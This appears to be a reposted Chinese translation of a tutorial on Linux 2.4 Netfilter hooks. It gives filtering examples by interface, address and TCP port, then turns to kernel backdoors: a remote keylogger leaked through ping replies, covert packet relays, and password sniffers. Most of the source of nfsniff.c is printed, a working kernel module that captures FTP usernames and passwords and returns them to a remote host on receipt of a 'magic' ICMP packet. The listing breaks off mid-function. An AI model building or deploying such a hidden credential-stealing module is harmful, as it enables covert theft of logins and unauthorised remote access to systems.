Netfilter 详解
生活随笔
收集整理的這篇文章主要介紹了
Netfilter 详解
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
其他不錯的文章:
http://bbs.chinaunix.net/thread-2196854-1-1.html
引用:
http://blog.chinaunix.net/uid-24977843-id-2983321.html
1 - 簡介 1.1 - 本文涉及的內容 1.2 - 本文不涉及的內容 2 - 各種Netfilter hook及其用法 2.1 - Linux內核對數據包的處理 2.2 - Netfilter對IPv4的hook 3 - 注冊和注銷Netfilter hook 4 - Netfilter 基本的數據報過濾技術[1] 4.1 - 深入hook函數 4.2 - 基于接口進行過濾 4.3 - 基于地址進行過濾 4.4 - 基于TCP端口進行過濾 5 - Netfilter hook的其它可能用法 5.1 - 隱藏后門的守護進程 5.2 - 基于內核的FTP密碼嗅探器 5.2.1 - 源代碼 : nfsniff.c 5.2.2 - 源代碼 : getpass.c 6 - 在Libpcap中隱藏網絡通信 6.1 - SOCK_PACKET、SOCK_RAW與Libpcap 6.2 - 給狼披上羊皮 7 - 結束語 A - 輕量級防火墻 A.1 - 概述 A.2 - 源代碼 : lwfw.c A.3 - 頭文件 : lwfw.h B - 第6節中的源代碼
--[ 1 - 簡介
本文將向你展示,Linux的網絡堆棧的一些怪異行為(并不一定是弱點)如何被用于邪惡的或者是其它形形色色的目的。在這里將要討論的是將表面上看起來合法的Netfilter hook用于后門的通信,以及一種使特定的網絡通信在運行于本機的基于Libpcap的嗅探器中消聲匿跡的技術。 Netfilter是Linux 2.4內核的一個子系統,Netfiler使得諸如數據包過濾、網絡地址轉換(NAT)以及網絡連接跟蹤等技巧成為可能,這些功能僅通過使用內核網絡代碼 提供的各式各樣的hook既可以完成。這些hook位于內核代碼中,要么是靜態鏈接的,要么是以動態加載的模塊的形式存在。可以為指定的網絡事件注冊相應 的回調函數,數據包的接收就是這樣一個例子。
----[ 1.1 - 本文涉及的內容 本文討論模塊編寫者如何利用Netfilter hook來實現任意目的以及如何將將網絡通信在基于Libpcap的應用程序中隱藏。雖然Linux 2.4支持對IPv4、IPv6以及DECnet的hook,但在本文中將只討論關于IPv4的話題,雖然如此,大部分關于IPv4的內容都同樣可以運用 于其它幾種協議。出于教學的目的,附錄A提供了一個可用的、提供基本的包過濾的內核模塊。本文中所有的開發和試驗都在運行于Intel主機上的Linux 2.4.5中完成。對Netfilter hook功能的測試在環回接口、以太網接口以及調制解調器點對點接口上完成。 本文也是出于我對Netfilter完全理解的嘗試的興趣而寫的。我并不能保證文中附帶的任何代碼100%的沒有錯誤,但是我已經測試了所有 在這里提供的代碼。我已經受夠了核心錯誤的折磨,因此真誠的希望你不會再如此。同樣,我不會為任何按照本文所述進行的操作中可能發生的損害承擔責任。本文 假定讀者熟悉C語言編程并且有一定的關于可加載模塊的經驗。 歡迎對本文中出現的錯誤進行批評指正,我同時開誠布公的接受對本文的改進以及其它各種關于Netfilter的優秀技巧的建議。 ---- [ 1.2 - 本文不涉及的內容
本文不是一個完全的關于Netfilter的細節上的參考資料,同樣,也不是一個關于iptables的命令的參考資料。如果你想了解更多的關于iptables的命令,請參考相關的手冊頁。 好了,讓我們從Netfilter的使用介紹開始 ...
--[ 2 - 各種Netfilter hook及其用法 ----[ 2.1 - Linux內核對數據包的處理 看起來好像是我很喜歡深入到諸如Linux的數據包處理以及事件的發生以及跟蹤每一個Netfilter hook這樣的血淋淋的細節中,事實并非如此!原因很簡單,Harald Welte已經寫了一篇關于這個話題的優秀的文章??《Journey ?of a Packet Through the Linux 2.4 Network Stack》。如果你想了解更多的關于Linux數據包處理的內容,我強烈推薦你去拜讀這篇文章。現在,僅需要理解:當數據包游歷Linux內核的網絡堆棧時,它穿過了幾個hook點,在這里,數據包可以被分析并且選擇是保留還是丟棄,這些hook點就是Netfilter hook。
----[ 2.2 - Netfilter對IPv4的hook
Netfilter中定義了五個關于IPv4的hook,對這些符號的聲明可以在linux/netfilter_ipv4.h中找到。這些hook列在下面的表中: 表1 : 可用的IPv4 hook
Hook ? ? ? ? ? ? ? ?調用的時機 NF_IP_PRE_ROUTING ? ?在完整性校驗之后,選路確定之前 NF_IP_LOCAL_IN ? ? ? ?在選路確定之后,且數據包的目的是本地主機 NF_IP_FORWARD ? ? ? ?目的地是其它主機地數據包 NF_IP_LOCAL_OUT ? ? ? ?來自本機進程的數據包在其離開本地主機的過程中 NF_IP_POST_ROUTING ? ?在數據包離開本地主機“上線”之前
NF_IP_PRE_ROUTING這個hook是數據包被接收到之后調用的第一個hook,這個hook既是稍后將要描述的模塊所用到的。當然,其它的hook同樣非常有用,但是在這里,我們的焦點是在NF_IP_PRE_ROUTING這個hook上。
在hook函數完成了對數據包所需的任何的操作之后,它們必須返回下列預定義的Netfilter返回值中的一個: 表2 : Netfilter返回值
返回值 ? ? ? ? ? ? ? ?含義 NF_DROP ? ? ? ? ? ? ? ?丟棄該數據包 NF_ACCEPT ? ? ? ? ? ?保留該數據包 NF_STOLEN ? ? ? ? ? ?忘掉該數據包 NF_QUEUE ? ? ? ? ? ?將該數據包插入到用戶空間 NF_REPEAT ? ? ? ? ? ?再次調用該hook函數
NF_DROP這個返回值的含義是該數據包將被完全的丟棄,所有為它分配的資源都應當被釋放。NF_ACCEPT這個返回值告訴Netfilter:到目前為止,該數據包還是被接受的并且該數據包應當被遞交到網絡堆棧的下一個階段。NF_STOLEN是一個有趣的返回值,因為它告訴Netfilter,“忘掉”這個數據包。這里告訴Netfilter的是:該hook函數將從此開始對數據包的處理,并且Netfilter應當放棄對該數據包做任何的處理。但是,這并不意味著該數據包的資源已經被釋放。這個數據包以及它獨自的sk_buff數據結構仍然有效,只是hook函數從Netfilter獲取了該數據包的所有權。不幸的是,我還不是完全的清楚NF_QUEUE到底是如果工作的,因此在這里我不討論它。最后一個返回值NF_REPEAT請求Netfilter再次調用這個hook函數。顯然,使用者應當謹慎使用NF_REPEAT這個返回值,以免造成死循環。 --[3 - 注冊和注銷Netfilter hook
注冊一個hook函數是圍繞nf_hook_ops數據結構的一個非常簡單的操作,nf_hook_ops數據結構在linux/netfilter.h中定義,該數據結構的定義如下:
struct nf_hook_ops { struct list_head list;
nf_hookfn *hook; int pf; int hooknum; int priority; };
該數據結構中的list成員用于維護Netfilter hook的列表,并且不是用戶在注冊hook時需要關心的重點。hook成員是一個指向nf_hookfn類型的函數的指針,該函數是這個hook被調用 時執行的函數。nf_hookfn同樣在linux/netfilter.h中定義。pf這個成員用于指定協議族。有效的協議族在linux /socket.h中列出,但對于IPv4我們希望使用協議族PF_INET。hooknum這個成員用于指定安裝的這個函數對應的具體的hook類型, 其值為表1中列出的值之一。最后,priority這個成員用于指定在執行的順序中,這個hook函數應當在被放在什么地方。對于IPv4,可用的值在 linux/netfilter_ipv4.h的nf_ip_hook_priorities枚舉中定義。出于示范的目的,在后面的模塊中我們將使用 NF_IP_PRI_FIRST。 注冊一個Netfilter hook需要調用nf_register_hook()函數,以及用到一個nf_hook_ops數據結構。nf_register_hook()函數以 一個nf_hook_ops數據結構的地址作為參數并且返回一個整型的值。但是,如果你真正的看了在net/core/netfilter.c中的 nf_register_hook()函數的實現代碼,你會發現該函數總是返回0。以下提供的是一個示例代碼,該示例代碼簡單的注冊了一個丟棄所有到達的 數據包的函數。該代碼同時展示了Netfilter的返回值如何被解析。
示例代碼1 : Netfilter hook的注冊
#define __KERNEL__ #define MODULE
#include <linux/module.h> ? #include <linux/kernel.h>? #include <linux/netfilter.h>? #include <linux/netfilter_ipv4.h>?
static struct nf_hook_ops nfho;
unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { return NF_DROP; ? ? ? ? ? }
int init_module() { nfho.hook = hook_func; ? ? ? ? nfho.hooknum ?= NF_IP_PRE_ROUTING; nfho.pf ? ? ? = PF_INET; nfho.priority = NF_IP_PRI_FIRST; ?
nf_register_hook(&nfho);
return 0; }
void cleanup_module() { nf_unregister_hook(&nfho); }
這就是全部內容,從示例代碼1中,你可以看到,注銷一個Netfilter hook是一件很簡單事情,只需要調用nf_unregister_hook()函數,并且以你之前用于注冊這個hook時用到的相同的數據結構的地址作為參數。
-- [4 - Netfilter 基本的數據報過濾技術 ---- [4.1 - 深入hook函數
現在是到了看看什么數據被傳遞到hook函數中以及這些數據如何被用于做過濾選擇的時候了。那么,讓我們更深入的看看nf_hookfn函數的原型吧。這個函數原型在linux/netfilter.h中給出,如下:
typedef unsigned int nf_hookfn(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *));
nf_hookfn函數的第一個參數用于指定表1中給出的hook類型中的一個。第二個參數更加有趣,它是一個指向指針的指針,該指針指向的 指針指向一個sk_buff數據結構,網絡堆棧用sk_buff數據結構來描述數據包。這個數據結構在linux/skbuff.h中定義,由于它的內容 太多,在這里我將僅列出其中有意義的部分。
sk_buff數據結構中最有用的部分可能就是那三個描述傳輸層包頭(例如:UDP, TCP, ICMP, SPX)、網絡層包頭(例如:IPv4/6, IPX, RAW)以及鏈路層包頭(例如:以太網或者RAW)的聯合(union)了。這三個聯合的名字分別是h、nh以及mac。這些聯合包含了幾個結構,依賴于 具體的數據包中使用的協議。使用者應當注意:傳輸層包頭和網絡層包頭可能是指向內存中的同一個位置。這是TCP數據包可能出現的情況,其中h和nh都應當 被看作是指向IP頭結構的指針。這意味著嘗試通過h->th獲取一個值,并認為該指針指向一個TCP頭,將會得到錯誤的結果。因為h->th 實際上是指向的IP頭,與nh->iph得到的結果相同。
接下來讓我們感興趣的其它部分是len和data這兩個域。len指定了從data開始的數據包中的數據的總長度。好了,現在我們知道如何在sk_buff數據結構中分別訪問協議頭和數據包中的數據了。Netfilter hook函數中有用的信息中其它的有趣的部分是什么呢?
緊跟在skb之后的兩個參數是指向net_device數據結構的指針,net_device數據結構被Linux內核用于描述所有類型的網 絡接口。這兩個參數中的第一個??in,用于描述數據包到達的接口,毫無疑問,參數out用于描述數據包離開的接口。必須明白,在通常情況下,這兩個參數 中將只有一個被提供。例如:參數in只用于NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN hook,參數out只用于NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING hook。在這一個階段中,我還沒有測試對于NF_IP_FORWARD hook,這兩個參數中哪些是有效的,但是如果你能在使用之前先確定這些指針是非空的,那么你是非常優秀的!
最后,傳遞給hook函數的最后一個參數是一個命名為okfn函數指針,該函數以一個sk_buff數據結構作為它唯一的參數,并且返回一個整型的值。我不是很確定這個函數是干什么用的,在net/core/netfilter.c中查看,有兩個地方調用了這個okfn函數。這兩個地方是分別在函數nf_hook_slow()中以及函數nf_reinject()中,在其中的某個位置,當Netfilter hook的返回值為NF_ACCEPT時被調用。如果任何人有更多的關于okfn函數的信息,請務必告知。 ** 譯注:Linux核心網絡堆棧中有一個全局變量 : struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],該變量是一個二維數組,其中第一維用于指定協議族,第二維用于指定hook的類型(表1中定義的類型)。注冊一個Netfilter hook實際就是在由協議族和hook類型確定的鏈表中添加一個新的節點。 以下代碼摘自 net/core/netfilter,nf_register_hook()函數的實現: int nf_register_hook(struct nf_hook_ops *reg) { struct list_head *i;
br_write_lock_bh(BR_NETPROTO_LOCK); for (i = nf_hooks[reg->pf][reg->hooknum].next;? i != &nf_hooks[reg->pf][reg->hooknum];? i = i->next) { if (reg->priority < ((struct nf_hook_ops *)i)->priority) break; } list_add(?->list, i->prev); br_write_unlock_bh(BR_NETPROTO_LOCK); return 0; }
Netfilter中定義了一個宏NF_HOOK,作者在前面提到的nf_hook_slow()函數實際上就是NF_HOOK宏定義替換的 對象,在NF_HOOK中執行注冊的hook函數。NF_HOOK在Linux核心網絡堆棧的適當的地方以適當的參數調用。例如,在ip_rcv()函數 (位于net/ipv4/ip_input.c)的最后部分,調用NF_HOOK函數,執行NF_IP_PRE_ROUTING類型的hook。 ip_rcv()是Linux核心網絡堆棧中用于接收IPv4數據包的主要函數。在NF_HOOK的參數中,頁包含一個okfn函數指針,該函數是用于數 據包被接收后完成后續的操作,例如在ip_rcv中調用的NF_HOOK中的okfn函數指針指向ip_rcv_finish()函數(位于 net/ipv4/ip_input.c),該函數用于IP數據包被接收后的諸如IP選項處理等后續處理。 如果在內核編譯參數中取消CONFIG_NETFILTER宏定義,NF_HOOK宏定義直接被替換為okfn,內核代碼中的相關部分如下(linux/netfilter.h):
#ifdef CONFIG_NETFILTER ... #ifdef CONFIG_NETFILTER_DEBUG #define NF_HOOK nf_hook_slow #else #define NF_HOOK(pf, hook, skb, indev, outdev, okfn) ? ? ? ? ? ?\ (list_empty(&nf_hooks[(pf)][(hook)]) ? ? ? ? ? ? ? ? ? ?\ ? (okfn)(skb) ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?\ : nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn))) #endif ... #else #define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb) #endif 可見okfn函數是必不可少的,當Netfilter被啟用時,它用于完成接收的數據包后的后續操作,如果不啟用Netfilter做數據包過濾,則所有的數據包都被接受,直接調用該函數做后續操作。 ** 譯注完 現在,我們已經了解了我們的hook函數接收到的信息中最有趣和最有用的部分,是該看看我們如何以各種各樣的方式來利用這些信息來過濾數據包的時候了! ----[4.2 - 基于接口進行過濾
這應該是我們能做的最簡單的過濾技術了。還記得我們的hook函數接收的參數中的那些net_device數據結構嗎?使用相應的 net_device數據結構的name這個成員,你就可以根據數據包的源接口和目的接口來選擇是否丟棄它。如果想丟棄所有到達接口eth0的數據包,所 有你需要做的僅僅是將in->name的值與"eth0"做比較,如果名字匹配,那么hook函數簡單的返回NF_DROP即可,數據包會被自動銷 毀。就是這么簡單!完成該功能的示例代碼見如下的示例代碼2。注意,Light-Weight FireWall模塊將會提供所有的本文提到的過濾方法的簡單示例。它還包含了一個IOCTL接口以及用于動態改變其特性的應用程序。 示例代碼2 : 基于源接口的數據包過濾
#define __KERNEL__ #define MODULE #include? #include? #include? #include? #include? static struct nf_hook_ops nfho;
static char *drop_if = "lo";
unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { if (strcmp(in->name, drop_if) == 0) { printk("Dropped packet on %s...\n", drop_if); return NF_DROP; } else { return NF_ACCEPT; } }
int init_module() { nfho.hook ? ? = hook_func; ? ? ? ? nfho.hooknum ?= NF_IP_PRE_ROUTING; nfho.pf ? ? ? = PF_INET; nfho.priority = NF_IP_PRI_FIRST; ?
nf_register_hook(&nfho); return 0; } void cleanup_module() { nf_unregister_hook(&nfho); }
是不是很簡單?接下來,讓我們看看基于IP地址的過濾。
----[ 4.3 - 基于地址進行過濾
與根據數據包的接口進行過濾類似,基于數據包的源或目的IP地址進行過濾同樣簡單。這次我們感興趣的是sk_buff數據結構。還記得skb 參數是一個指向sk_buff數據結構的指針的指針嗎?為了避免犯錯誤,聲明一個另外的指向skb_buff數據結構的指針并且將skb指針指向的指針賦 值給這個新的指針是一個好習慣,就像這樣: struct sk_buff *sb = *skb; ? ? ...
static int check_ip_packet(struct sk_buff *skb) { if (!skb )return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT; if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) {? return NF_DROP; }
return NF_ACCEPT; } 這樣,如果數據包的源地址與我們設定的丟棄數據包的地址匹配,那么該數據包將被丟棄。為了使這個函數能按預期的方式工作,deny_ip的值應當以網絡字節序(Big-endian,與Intel相反)存放。雖然這個函數不太可能以一個空的指針作為參數來調用,帶一點點偏執狂從來不會有什么壞處。當然,如果錯誤確實發生了,那么該函數將會返回NF_ACCEPT。這樣Netfilter可以繼續處理這個數據包。示例代碼4展現了用于演示將基于接口的過濾略做修改以丟棄匹配給定IP地址的數據包的簡單模塊。 示例代碼4 : 基于數據包源地址的過濾
#define __KERNEL__ #define MODULE
#include? #include? #include? #include ? ? ? ? ? ? ? ? ? #include? #include?
static struct nf_hook_ops nfho;
static unsigned char *drop_ip = "\x7f\x00\x00\x01";
unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; // 譯注:作者提供的代碼中比較地址是否相同的方法是錯誤的,見注釋掉的部分 if (sb->nh.iph->saddr == *(unsigned int *)drop_ip) { // if (sb->nh.iph->saddr == drop_ip) { printk("Dropped packet from... %d.%d.%d.%d\n", *drop_ip, *(drop_ip + 1), *(drop_ip + 2), *(drop_ip + 3)); return NF_DROP; } else { return NF_ACCEPT; } }
int init_module() { nfho.hook ? ? ? = hook_func; ? ? ? ? nfho.hooknum ?= NF_IP_PRE_ROUTING; nfho.pf ? ? ? = PF_INET; nfho.priority = NF_IP_PRI_FIRST; ?
nf_register_hook(&nfho);
return 0; }
void cleanup_module() { nf_unregister_hook(&nfho); }
----[ 4.4 - 基于TCP端口進行過濾
另一個要實現的簡單規則是基于數據包的TCP目的端口進行過濾。這只比檢查IP地址的要求要高一點點,因為我們需要自己創建一個TCP頭的指 針。還記得我們前面討論的關于傳輸層包頭與網絡層包頭的內容嗎?獲取一個TCP頭的指針是一件簡單的事情??分配一個tcphdr數據結構(在 linux/tcp.h中定義)的指針,并將它指向我們的數據包中IP頭之后的數據。或許一個例子的幫助會更大一些,示例代碼5給出了檢查數據包的TCP 目的端口是否與某個我們要丟棄數據包的端口匹配的代碼。與示例代碼3一樣,這些代碼摘自LWFW。 示例代碼5 : 檢查收到的數據包的TCP目的端口 unsigned char *deny_port = "\x00\x19"; ?
...
static int check_tcp_packet(struct sk_buff *skb) { struct tcphdr *thead;
if (!skb ) return NF_ACCEPT; if (!(skb->nh.iph)) return NF_ACCEPT;
if (skb->nh.iph->protocol != IPPROTO_TCP) { return NF_ACCEPT; }
thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
if ((thead->dest) == *(unsigned short *)deny_port) { return NF_DROP; } return NF_ACCEPT; }
確實很簡單!不要忘了,要讓這個函數工作,deny_port必須是網絡字節序。這就是數據包過濾的基礎了,你應當已經清楚的理解了對于一個特定的數據包,如何獲取你想要的信息。現在,是該進入更有趣的內容的時候了!
--[ 5 - Netfilter hook的其它可能用法
在這里,我將提出其它很酷的利用Netfilter hook的點子,5.1節將簡單的給出精神食糧,而5.2節將討論和給出可以工作的基于內核的FTP密碼嗅探器的代碼,它的遠程密碼獲取功能是確實可用的。事實上,它工作的令我吃驚的好,并且我編寫了它。 ----[ 5.1 - 隱藏后門的守護進程
核心模塊編程也許是Linux開發中最有趣的部分之一了,在內核中編寫代碼意味著你在一個僅受限于你的想象力的地方寫代碼。以惡意的觀點來 看,你可以隱藏文件、進程,并且做各式各樣很酷的,任何的rootkit能夠做的事情。那么,以不太惡意的觀點來看(是的,持這中觀點人們的確存在),你 可以隱藏文件、進程以及干各式各樣的事情。內核真是一個迷人的樂園! 有了賦予內核級程序員的強大力量,很多事情成為可能。其中最有趣的(也是讓系統管理員恐慌的)一個就是嵌入到內核中的后門。畢竟,如果后門不 作為一個進程運行,那么我們怎么知道它的運行?當然,還是有辦法讓你的內核揪出這樣的后門來,但是它們可不像運行ps命令一樣容易和簡單。現今,將后門代 碼放到內核中去的點子已經并不新鮮了。但是,我在這里所提出的是安放一個用作內核后門的簡單的網絡服務。你猜對了,正是Netfilter hook! 如果你已經具備必要的技能并且情愿以做試驗的名義使你的內核崩潰,那么你就可以構建簡單但是有用的,完全位于內核中的,可以遠程訪問的網絡服務了。基本上一個Netfilter hook可以通過觀察收到的數據包來查找一個“魔法”數據包,并且當接收到這個“魔法”數據包時干指定的事情。結果可以通過Netfilter hook來發送。并且該hook函數可以返回NF_STOLEN,以使得收到的“魔法”數據包可以走得更遠。但是要注意,當以這種方式來發送時,輸出數據包對于輸出Netfilter hook仍然是可見的。因此用戶空間完全不知道這個“魔法”數據包的曾經到達,但是它們還是能看到你送所出的。當心!因為在泄密主機上的嗅探器不能看到這個包并不意味著在其它中間宿主主機上的嗅探器也看不到這個包。 kossak與lifeline曾為Phrack寫了一篇精彩的文章,該文描述了如何通過注冊數據包類型處理器來完成這樣的功能。雖然本文涉及的是Netfilter hook,我仍然建議閱讀他們的這篇文章(第55期,文件12),因為它是一篇給出了一些非常有趣的點子的有趣讀物。 那么,后門Netfilter hook可以干些什么工作呢?以下是一些建議: -- 遠程訪問擊鍵記錄器(key-logger)。模塊記錄擊鍵,并且當遠程主機發送一個PING請求時,結果被送到該主機。這樣,可以生成一個類似于穩定的 (非洪水的)PING應答流的擊鍵信息的流。當然,你可能想要實現一個簡單的加密,這樣,ASCII鍵不會立即暴露它們自己,并且某些警覺的系統管理員會 想:“堅持,我以前都是通過我的SSH會話來鍵入那些的!Oh $%@T%&!”。 -- 各種簡單的管理員任務,例如獲取當前登錄到主機的用戶的列表或責獲取打開的網絡連接的信息。 -- 并非一個真正的后門,而是位于網絡邊界的模塊,并且阻擋任何被疑為來自特洛伊木馬、ICMP隱蔽通道或者像KaZaa這樣的文件共享工具的通信。 -- 文件傳輸“服務器”。我最近已經實現了這個主意,由此引起的Linux核心編程是數小時的樂趣:) -- 數據包跳躍。重定向目的為木馬主機指定端口的數據包到其它的IP主機和端口,并且從那臺主機發回數據包到發起者。沒有進程被派生,并且最妙的是,沒有網絡套接字被打開。 -- 上面描述的數據包跳躍用于與網絡中的關鍵系統以半隱蔽方式通信。例如:配置路由器等。 -- FTP/POP3/Telnet密碼嗅探器。嗅探輸出的密碼并保存相關信息,直到進入的“魔法”數據包要求獲取它們。 以上只是一些想法的簡短的列表,其中最后一個想法是我們在接下來的一節中將要真正詳細討論的。它 提供了一個很好的了解更多的深藏于核心網絡代碼中的函數的機會。
----[ 5.2 - 基于內核的FTP密碼嗅探器
在這里展現的是一個簡單的,原理性的,用做Netfilter后門的模塊。該模塊嗅探輸出的FTP數據包,查找對于一個FTP服務器一個 USER于PASS命令對。當這樣一個命令對被發現后,該模塊接下來將等待一個“魔法”ICMP ECHO(ping)數據包,該數據包應當足夠大,使其能返回服務器的IP地址、用戶名以及密碼。同時提供了一個快速的發送一個“魔法”數據包,獲取返回 然后打印返回信息的技巧。一旦用戶名/密碼對從模塊讀取后,模塊將接著查找下一對。注意,模塊每次只保存一個對。以上是簡要的瀏覽,是該展示更多的細節, 來看模塊如何做到這些的時候了。 當模塊加載時,模塊的init_module()函數簡單的注冊了兩個Netfilter hook。第一個用于查看輸入的數據包(在NF_IP_PRE_ROUTING處),嘗試發現“魔法”ICMP數據包。接下來的一個用于查看離開該模塊被 安裝的主機的數據包(在NF_IP_POST_ROUTING處),這個函數正是搜索和捕獲FTP的USER和PASS數據包的地方。 cleanup_module()函數只是簡單的注銷這兩個hook。 watch_out()是用于hook NF_IP_POST_ROUTING的函數,查看這個函數你可以看到,它的執行的操作非常簡單。當一個數據包進入這個函數過后,將經過各種檢查,以確定 它是一個FTP數據包。如果它不是一個FTP數據包,那么立即返回NF_ACCEPT。如果它是一個FTP數據包,那么該模塊進行檢查是否已經存在一個用 戶名/密碼對。如果存在(以have_pair的非零值標識),那么返回NF_ACCEPT,該數據包最終能夠離開該系統。否則,check_ftp() 函數被調用,這是密碼提取實際發生的地方。如果沒有先前的數據包已經被接收,那么target_ip和target_port變量應當被清除。 check_ftp()開始于從數據包的開始查找"USER","PASS"或"QUIT"。注意直到USER命令處理之后才處理PASS命 令。這樣做的目的是為了防止在某些情況下PASS命令先于USER命令被接收到以及在USER到達之前連接中斷而導致的死鎖的發生。同樣,如果QUIT命 令到達時僅有用戶名被捕獲,那么將重置操作,開始嗅探一個新的連接。當一個USER或者PASS命令到達時,如果必要完整性校驗通過,則記錄下命令的參 數。正常運行下,在check_ftp()函數完成之前,檢查是否已經有了一個有效的用戶名和密碼串。如果是,則設置have_pair的值為非零并且在 當前的用戶名/密碼對被獲取之前不會再抓取其它的用戶名或密碼。 到目前為止你已經看到了該模塊如何安裝它自己以及如何開始搜尋待記錄的用戶名和密碼。接下來你將看到當指定的“魔法”數據包到達時會發生什 么。在此需特別注意,因為這是在整個開發過程中出現的最大難題。如果我沒記錯的話,共遭遇了16個核心錯誤:)。當數據包進安裝該模塊的主機 時,watch_in()檢查每一個數據包以查看其是否是一個“魔法”數據包。如果數據包不能提供足以證明它是一個“魔法”數據包的信息,那么它將被被 watch_in()忽略,簡單的返回一個NF_ACCEPT。注意“魔法”數據包的標準之一是它們必須有足夠的空間來存放IP地址以及用戶名和密碼串。 這使得發送應答更加容易。當然,可以重新分配一個新的sk_buff,但是正確的獲取所有必要的域得值可能會比較困難,并且你還必須得正確的獲取它們!因 此,與其為我們的應答數據包創建一個新的數據結構,不如簡單的調整請求數據包的數據結構。為了成功的返回數據包,需要做幾個改動。首先,交換IP地址,并 且sk_buff數據結構中描述數據包類型的域(pkt_type)應當被換成PACKET_OUTGOING,這些宏在 linux/if_packet.h中定義。接下來應當小心的是確定包含了任意的鏈路層頭。我們接收到的數據包的sk_buff數據結構的數據域指向鏈路 層頭之后,并且它是指向被發送的數據包的數據的開始的數據域。那么對于需要鏈路層包頭(以太網及環回和點對點的raw)的接口,我們將數據域指向 mac.ethernet或者mac.raw結構。為確定這個數據包來自的什么類型的接口你可以查看sb->dev->type的值,其中 sb是一個指向sk_buff數據結構的指針。這個域的有效值可以在linux/if_arp.h中找到,但其中最有用的幾個在下面的表3中列出。 表3 : 接口類型的常用值
類型代碼 ? ? ? ?接口類型 ARPHRD_ETHER ? ?以太網 ARPHRD_LOOPBACK ? ?環回設備 ARPHRD_PPP ? ? ? ?點對點(例如撥號)
最后,我們要做的是真正的復制我們想在的應答中送出的數據。到送出數據包的時候了,dev_queue_xmit()函數以一個指向sk_buff數據結 構的指針作為它唯一的參數,在“好的錯誤”情況下,返回一個負的錯誤代碼。我所說的“好的錯誤”是什么意思呢?如果你給函數 dev_queue_xmit()一個錯誤構造的套接字緩沖,那么你就會得到一個伴隨著內核錯誤和內核堆棧的dump信息的“不太好的錯誤”。看看在這里 錯誤如何能被分成兩組?最后,watch_in()返回NF_STOLEN,以告訴Netfilter忘掉它曾經見到過這個數據包。如果你已經調用了 dev_queue_xmit(),不要返回NF_DROP!這是因為dev_queue_xmit()將釋放傳遞進來的套接字緩沖,而 Netfilter會嘗試對被NF_DROP的數據包做同樣的操作。好了。對于代碼的討論已經足夠了,請看具體的代碼。 ------[ 5.2.1 - 源代碼 : nfsniff.c
<++> nfsniff/nfsniff.c
#define MODULE #define __KERNEL__
#include? #include? #include? #include? #include? #include? #include? #include? #include? #include? #include? #include? #include?
#define MAGIC_CODE ? 0x5B #define REPLY_SIZE ? 36
#define ICMP_PAYLOAD_SIZE ?(htons(sb->nh.iph->tot_len) \ - sizeof(struct iphdr) \ - sizeof(struct icmphdr))
static char *username = NULL; static char *password = NULL; static int ?have_pair = 0; ? ?
static unsigned int target_ip = 0; static unsigned short target_port = 0;
struct nf_hook_ops ?pre_hook; ? ? ? ? ? struct nf_hook_ops ?post_hook; ? ? ? ? ?
static void check_ftp(struct sk_buff *skb) { struct tcphdr *tcp; char *data; int len = 0; int i = 0; tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4)); data = (char *)((int)tcp + (int)(tcp->doff * 4));
if (username) if (skb->nh.iph->daddr != target_ip || tcp->source != target_port) return; if (strncmp(data, "USER ", 5) == 0) { ? ? ? ? ? data += 5; if (username) ?return; while (*(data + i) != ‘\r‘ && *(data + i) != ‘\n‘ && *(data + i) != ‘\0‘ && i < 15) { len++; i++; } if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL) return; memset(username, 0x00, len + 2); memcpy(username, data, len); *(username + len) = ‘\0‘; ? ? ? ? ? } else if (strncmp(data, "PASS ", 5) == 0) { ? data += 5;
if (username == NULL) return; if (password) ?return; while (*(data + i) != ‘\r‘ && *(data + i) != ‘\n‘ && *(data + i) != ‘\0‘ && i < 15) { len++; i++; }
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL) return; memset(password, 0x00, len + 2); memcpy(password, data, len); *(password + len) = ‘\0‘; ? ? ? ? ? } else if (strncmp(data, "QUIT", 4) == 0) { if (have_pair) ?return; if (username && !password) { kfree(username); username = NULL; target_port = target_ip = 0; have_pair = 0; return; } } else { return; }
if (!target_ip) target_ip = skb->nh.iph->daddr; if (!target_port) target_port = tcp->source;
if (username && password) have_pair++; ? ? ? ? ? ? ? // ? if (have_pair) // ? ? printk("Have password pair! ?U: %s ? P: %s\n", username, password); }
static unsigned int watch_out(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; struct tcphdr *tcp; if (sb->nh.iph->protocol != IPPROTO_TCP) return NF_ACCEPT; ? ? ? ? ? ? ? tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4)); if (tcp->dest != htons(21)) return NF_ACCEPT; ? ? ? ? ? ? ? if (!have_pair) check_ftp(sb); return NF_ACCEPT; }
static unsigned int watch_in(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; struct icmphdr *icmp; char *cp_data; ? ? ? ? ? ? ? unsigned int ? taddr; ? ? ? ? ?
if (!have_pair) return NF_ACCEPT; if (sb->nh.iph->protocol != IPPROTO_ICMP) return NF_ACCEPT; icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) { return NF_ACCEPT; } taddr = sb->nh.iph->saddr; sb->nh.iph->saddr = sb->nh.iph->daddr; sb->nh.iph->daddr = taddr;
